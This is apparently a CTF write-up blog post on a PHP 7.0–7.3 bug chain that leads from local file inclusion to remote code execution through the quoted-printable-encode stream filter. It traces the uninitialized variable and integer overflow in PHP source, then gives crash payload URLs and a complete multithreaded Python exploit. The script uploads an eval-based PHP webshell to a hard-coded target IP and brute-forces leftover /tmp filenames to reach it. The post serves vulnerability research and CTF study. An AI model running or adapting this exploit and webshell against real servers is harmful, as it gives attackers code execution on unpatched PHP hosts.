rwctf | The return of One Line PHP Challenge

en: https://hackmd.io/s/rJlfZva0m
cn: https://hackmd.io/s/Hk-2nUb3Q

One Line PHP Challenge without session.upload

Contact Me

wupco1996@gmail.com

Tribute to HITCON2018

This is an extension of One Line PHP Challenge (Designed by 🍊).

A new way to exploit PHP7.2 from LFI to RCE

During the HITCON2018 , I tried the filter:convert.quoted-printable-encode , but when I passed the characters of the oversized ascii code in the data section

php://filter/convert.quoted-printable-encode/resource=data://,%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf

I found the server's responded code is 500 , I tested it locally and found that the error was:

Then I came up with the question: With such a simple filter function, with so few total data characters, why would it allocate so much memory until the limit is exceeded?

After the game, I debugged PHP7.2 locally and found that the final reason was to fall into the loop of strfilter_convert_append_bucket(), in this loop, memory allocation operations are performed, and the amount of memory allocated each time is doubled.

source code

// err will be "PHP_CONV_ERR_TOO_BIG" every time.
err = php_conv_convert(inst->cd, &pt, &tcnt, &pd, &ocnt);

...

case PHP_CONV_ERR_TOO_BIG: {
    char *new_out_buf;
    size_t new_out_buf_size;



    new_out_buf_size = out_buf_size << 1;

/*
    new_out_buf_size = out_buf_size << 1
    If out_buf_size is a small number, new_out_buf_size will bigger than out_buf_size for a long time loop.

*/
    if (new_out_buf_size < out_buf_size) {

        if (NULL == (new_bucket = php_stream_bucket_new(stream, out_buf, (out_buf_size - ocnt), 1, persistent))) {
//only here we can jump out the function.
            goto out_failure; 
        }

            php_stream_bucket_append(buckets_out, new_bucket);

            out_buf_size = ocnt = initial_out_buf_size;
            out_buf = pemalloc(out_buf_size, persistent);
            pd = out_buf;
    } else {
/*
 The code here is constantly trying alloc memory,
 because it is stuck in a loop, 
 and the allocation size is multiplied each time,
 so it quickly exceeds the limit.
*/
        new_out_buf = perealloc(out_buf, new_out_buf_size, persistent);
        pd = new_out_buf + (pd - out_buf);
        ocnt += (new_out_buf_size - out_buf_size);
        out_buf = new_out_buf;
        out_buf_size = new_out_buf_size;
        }
        } break;

According to the normal logic of PHP developers, if err is equal to PHP_CONV_ERR_TOO_BIG, it means that out_buf_size is a large number. By shifting left, it can lose the highest bit and become a small number, so it can enter the branch of goto then jump out this loop, but the problem here is that err is PHP_CONV_ERR_TOO_BIG, but out_buf_size is a small number.

Why? Let's trace back and find the reason.

Bug 1: uninitialized variable

First, we should analyze the function php_conv_convert()

It is defined in the first lines.

#define php_conv_convert(a, b, c, d, e) ((php_conv *)(a))->convert_op((php_conv *)(a), (b), (c), (d), (e))

inst->cd->convert_op() is called here, it is php_conv_qprint_encode_convert()

static php_conv_err_t php_conv_qprint_encode_convert(php_conv_qprint_encode *inst, const char **in_pp, size_t *in_left_p, char **out_pp, size_t *out_left_p)
{
    php_conv_err_t err = PHP_CONV_ERR_SUCCESS;
    unsigned char *ps, *pd;
    size_t icnt, ocnt;
    unsigned int c;
    unsigned int line_ccnt;
    unsigned int lb_ptr;
    unsigned int lb_cnt;
    unsigned int trail_ws;
    int opts;
    static char qp_digits[] = "0123456789ABCDEF";

    line_ccnt = inst->line_ccnt;
    opts = inst->opts;
    lb_ptr = inst->lb_ptr;
    lb_cnt = inst->lb_cnt;

    if ((in_pp == NULL || in_left_p == NULL) && (lb_ptr >=lb_cnt)) {
        return PHP_CONV_ERR_SUCCESS;
    }

    ps = (unsigned char *)(*in_pp);
    icnt = *in_left_p;
    pd = (unsigned char *)(*out_pp);
    ocnt = *out_left_p;
    trail_ws = 0;

    for (;;) {
        if (!(opts & PHP_CONV_QPRINT_OPT_BINARY) && inst->lbchars != NULL && inst->lbchars_len > 0) {

...

The arguments passed in it are:

As expected, the codeable characters supported by qprint should be passed to this branch.

But because the characters I entered contains the character which ascii code greater than 126, it leads to the else branch.

We can see Inst->lbchars_len is a very large number, so it enters the if (ocnt < inst->lbchars_len + 1) branch, causing TOO BIG error to be returned all the time.

} else {
    if (line_ccnt < 4) {
        if (ocnt < inst->lbchars_len + 1) {

//  The reason of the BUG

            err = PHP_CONV_ERR_TOO_BIG;
            break;
        }
        *(pd++) = '=';
        ocnt--;
        line_ccnt--;

        memcpy(pd, inst->lbchars, inst->lbchars_len);
        pd += inst->lbchars_len;
        ocnt -= inst->lbchars_len;
        line_ccnt = inst->line_len;
    }
    if (ocnt < 3) {
        err = PHP_CONV_ERR_TOO_BIG;
        break;
    }
    *(pd++) = '=';
    *(pd++) = qp_digits[(c >> 4)];
    *(pd++) = qp_digits[(c & 0x0f)];
    ocnt -= 3;
    line_ccnt -= 3;
    if (trail_ws > 0) {
        trail_ws--;
    }
    CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}

Why is lbchars_len so big?

I found that the location where it is assigned the initial value is

static php_conv_err_t php_conv_qprint_encode_ctor(php_conv_qprint_encode *inst, unsigned int line_len, const char *lbchars, size_t lbchars_len, int lbchars_dup, int opts, int persistent)
{
    if (line_len < 4 && lbchars != NULL) {
        return PHP_CONV_ERR_TOO_BIG;
    }
    inst->_super.convert_op = (php_conv_convert_func) php_conv_qprint_encode_convert;
    inst->_super.dtor = (php_conv_dtor_func) php_conv_qprint_encode_dtor;
    inst->line_ccnt = line_len;
    inst->line_len = line_len;
    if (lbchars != NULL) {
        inst->lbchars = (lbchars_dup ? pestrdup(lbchars, persistent) : lbchars);

// lbchars_len is assigned the initial value
        inst->lbchars_len = lbchars_len;
    } else {
        inst->lbchars = NULL;
    }
    inst->lbchars_dup = lbchars_dup;
    inst->persistent = persistent;
    inst->opts = opts;
    inst->lb_cnt = inst->lb_ptr = 0;
    return PHP_CONV_ERR_SUCCESS;
}

inst 's initialized position is here .

case PHP_CONV_QPRINT_ENCODE: {
    unsigned int line_len = 0;
    char *lbchars = NULL;
    size_t lbchars_len;
    int opts = 0;

    if (options != NULL) {
            ...
    }
    retval = pemalloc(sizeof(php_conv_qprint_encode), persistent);
        if (lbchars != NULL) {
        ...

    } else {
            if (php_conv_qprint_encode_ctor((php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)) {
            goto out_failure;
            }
        }
    } break;

Because we use php:// without attaching options to convert.quoted-printable-encode, the options here is NULL.

Until the else branch, we can see that the parameters passed by it is

(php_conv_qprint_encode *) retval, 0, NULL , 0, 0, opts, persistent)

At this point, lbchars is NULL, causing lbchars_len not to be initialized.

It is why lbchars_len is a big number, it is an uninitialized variable.

Bug 2: Memory Control && Integer Overflow

Because inst->lbchars_len is an uninitialized value, it is the value taken from the corresponding position in memory. PHP involves a lot of memory operations. Is it possible for us to control the whole value?

By definition, we know that lbchars_len is 8 bytes . By adjusting the length of the attached data, I find that some 8 bytes value of the request header are stored in inst->lbchars_len.

For example:

It was decoded by me from number,you can know it is Content-,and guess it is a part of Content-Type.

Continue to adjust, I leaked the param of the url.

So we can control the value of inst->lbchars_len, but since the resource content of php:// can't contain \x00, we can only construct the content among \x01-\xff.

When we see back

} else {
    if (line_ccnt < 4) {
        if (ocnt < inst->lbchars_len + 1) {

//  The reason of the BUG

            err = PHP_CONV_ERR_TOO_BIG;
            break;
        }
        *(pd++) = '=';
        ocnt--;
        line_ccnt--;

        memcpy(pd, inst->lbchars, inst->lbchars_len);
        pd += inst->lbchars_len;
        ocnt -= inst->lbchars_len;
        line_ccnt = inst->line_len;
    }
    if (ocnt < 3) {
        err = PHP_CONV_ERR_TOO_BIG;
        break;
    }
    *(pd++) = '=';
    *(pd++) = qp_digits[(c >> 4)];
    *(pd++) = qp_digits[(c & 0x0f)];
    ocnt -= 3;
    line_ccnt -= 3;
    if (trail_ws > 0) {
        trail_ws--;
    }
    CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}

We can see the second parameter of memcpy() is passed NULL, but the first one , the third parameter is controllable, if it is called, it will lead to a segmentfault.

Though we can control inst->lbchars_len, we can't use \x00 in http request , how to make ocnt < inst->lbchars_len + 1 false? ( ocnt is the total length of data we passed to the filter)

Here we have to construct a clever integer overflow, we control inst->lbchars_len as \xff\xff\xff\xff\xff\xff\xff\xff , and inst->lbchars_len + 1 will be zero , so ocnt < inst->lbchars_len + 1 is false now , and unexpected memcpy() will called , then it will cause a segmentfault.

Bug3 Feature : Temporary files cannot be recycled when php exits abnormally.

If we POST files to an apache-php server, it will generate a temporary file ( default in /tmp/) , it will be recycled when the request is processed. But if PHP progress exits abnormally, the file cannot be recycled in time.

So we can use the temporary files to getshell. It is crazy but it is possible.

We can post 20 files one in one request by default, and when we posted about about 400,000 files , if we are not particularly bad luck,there will be files start with php00[0-9][0-9a-zA-Z]{2}, however it almost always appears files start with php00[0-2][0-9a-zA-Z]{2}.

So it is a way to get shell. The premise is that your luck is not particularly bad :p

I have tried it dozens of times and can getshell in a limited time (about 15min to 2hour).

poc

The following will assign inst->lbchars_len to the value of 12345678(string)

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA87654321AAAAAAAAAAAAAAAAAAAAAAAA

If we want to get a segmentfault, we should change them to \xff.

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

exp

import requests
import threading
import os
import time
import string
import Queue
from itertools import product
from requests import ConnectionError



lock = threading.Lock()
filecount = 0
end_flag=0

target = "http://39.96.12.243:20001/?orange="
payload = "php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"

files = {'file'+str(i):('webshell','@<?php header("HTTP/1.1 233 wupcotest");@eval($_GET[1]);?>'+str(i),'text/php') for i in range(20)}


header = {
    'Pragma': 'no-cache',
'Cache-Control': 'no-cache',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Connection': 'close',
}
cookie = {
    "PHPSESSID":"d24jtsortojg3je8rcddb01k28",
}

def gentmpfile():

    while 1:

        try:
            requests.post(url=target+payload,files=files,headers=header,timeout=2)
            print 'ok'
        except ConnectionError,e:
            if e.message[0] == 'Connection aborted.':
                lock.acquire()
                global filecount
                if filecount >= 400000:
                    lock.release()
                    return 0
                filecount = filecount + 20
                print "[*]count: "+str(filecount)
                lock.release()
                continue

            else:
                continue
        except:
            continue


file_q = Queue.Queue()

def genfilename(prefix,charset):
    global file_q
    for i,j,k in product(charset,charset,charset):
        file_q.put(prefix+i+j+k)

def getshell():
    global file_q
    global end_flag
    while 1:
        if end_flag == 1:
            return 0
        try:
            filename = file_q.get()
            req = requests.head(target+'/tmp/php'+filename,timeout=2)
            if req.status_code == 233:
                print '[*] Found shell: /tmp/php' +filename
                lock.acquire()
                end_flag = 1
                lock.release()
                return 0
            else:
                continue
        except:
            file_q.put(filename)
            continue


tlist = []
glist = []
charset = string.digits + string.letters
revcharset = charset[::-1]
charset2 = string.letters + string.digits 

print '[*] generate temp file'

for i in xrange(0,2):
    glist.append(threading.Thread(target=genfilename,args=('00'+str(i),charset,)))
    glist.append(threading.Thread(target=genfilename,args=('00'+str(i),revcharset,)))
    glist.append(threading.Thread(target=genfilename,args=('00'+str(i),charset2,)))

for g in glist:
    g.start()

for i in xrange(0,10):
    tlist.append(threading.Thread(target=gentmpfile,args=()))

for t in tlist:
    t.start()

for t in tlist:
    t.join()

tlist2 = []

print '[*] brute force webshell'

for i in xrange(0,10):
    tlist2.append(threading.Thread(target=getshell,args=()))

for t in tlist2:
    t.start()

Vulnerable Version

All >7.0 version is vulnerable

<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
?>

PHP7.3

PHP7.2

PHP7.1

PHP7.0

Thanks to

@markak
@marche147
@orangetw

  • 用支付宝打我
  • 用微信打我

发表评论

电子邮件地址不会被公开。 必填项已用*标注